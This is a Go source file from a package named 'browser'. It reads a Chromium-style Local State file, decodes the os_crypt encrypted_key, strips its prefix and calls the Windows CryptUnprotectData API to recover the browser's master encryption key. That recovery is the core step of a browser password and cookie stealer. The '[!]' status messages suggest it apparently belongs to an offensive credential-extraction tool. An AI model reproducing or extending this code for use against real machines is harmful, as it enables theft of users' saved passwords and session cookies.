package browser

import (
	"encoding/base64"
	"encoding/json"
	"fmt"
	"os"
	"syscall"
	"unicode/utf8"
	"unsafe"
)

var (
	crypt32                = syscall.NewLazyDLL("crypt32.dll")
	kernel32               = syscall.NewLazyDLL("kernel32.dll")
	procCryptUnprotectData = crypt32.NewProc("CryptUnprotectData")
	procLocalFree          = kernel32.NewProc("LocalFree")
)

type DataBlob struct {
	cbData uint32
	pbData *byte
}

func getMasterKey(path string, result chan<- []byte) {
	var encryptedBase64Key struct {
		OSCrypt struct {
			EncryptedKey string `json:"encrypted_key"`
		} `json:"os_crypt"`
	}

	file, err := os.ReadFile(path)
	if err != nil {
		fmt.Printf("[!] Error reading LocalState file %s: %s\n", path, err)
	}

	if err := json.Unmarshal(file, &encryptedBase64Key); err != nil {
		fmt.Printf("[!] Error parsing JSON: %s\n", err)
	}

	encryptedKey, err := base64.StdEncoding.DecodeString(encryptedBase64Key.OSCrypt.EncryptedKey)
	if err != nil {
		fmt.Printf("[!] Error decoding base64: %s\n", err)
	}

	for i := 0; i < 5; i++ {
		_, size := utf8.DecodeRune(encryptedKey)
		encryptedKey = encryptedKey[size:]
	}

	encryptedBlob := DataBlob{
		cbData: uint32(len(encryptedKey)),
		pbData: &encryptedKey[0],
	}

	var outBlob DataBlob

	ret, _, err := procCryptUnprotectData.Call(
		uintptr(unsafe.Pointer(&encryptedBlob)),
		0,
		0,
		0,
		0,
		0,
		uintptr(unsafe.Pointer(&outBlob)),
	)

	if ret == 0 {
		fmt.Println("[!] CryptUnprotectData failed:", err)
		return
	}

	decryptedKey := make([]byte, outBlob.cbData)
	copy(decryptedKey, (*[1 << 20]byte)(unsafe.Pointer(outBlob.pbData))[:outBlob.cbData:outBlob.cbData])

	procLocalFree.Call(uintptr(unsafe.Pointer(outBlob.pbData)))

	result <- decryptedKey
}